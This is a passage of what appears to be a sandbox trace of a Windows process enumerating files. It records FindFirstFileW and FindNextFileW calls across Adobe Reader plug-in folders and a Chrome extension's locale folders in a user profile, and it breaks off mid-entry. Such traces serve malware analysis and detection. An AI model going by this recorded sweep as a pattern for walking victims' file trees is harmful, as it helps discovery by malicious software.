0x7cbb10 [0048.615] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.615] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0048.615] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.615] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.615] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0048.615] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.616] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.616] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0048.616] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.616] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.616] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0048.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.616] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.616] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0048.616] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.617] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.617] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0048.617] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.617] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.617] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0048.617] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.617] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.617] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0048.618] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0048.618] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.618] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0048.619] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0048.619] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.619] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0048.619] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0048.619] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0048.619] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0048.619] FindClose (in: hFindFile=0x7cbad0 | out: hFindFile=0x7cbad0) returned 1 [0048.619] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f10010 | out: hHeap=0x790000) returned 1 [0048.619] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0048.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0048.622] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.622] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0048.622] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbad0 [0048.623] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.623] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0048.623] FindClose (in: hFindFile=0x7cbad0 | out: hFindFile=0x7cbad0) returned 1 [0048.623] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0048.623] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0048.624] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0048.624] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f10010 | out: hHeap=0x790000) returned 1 [0048.625] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x7cbb90, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x7cbb90, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.347] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0056.278] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.280] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.284] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.286] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.287] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0056.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.287] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.287] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.287] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.287] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.287] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 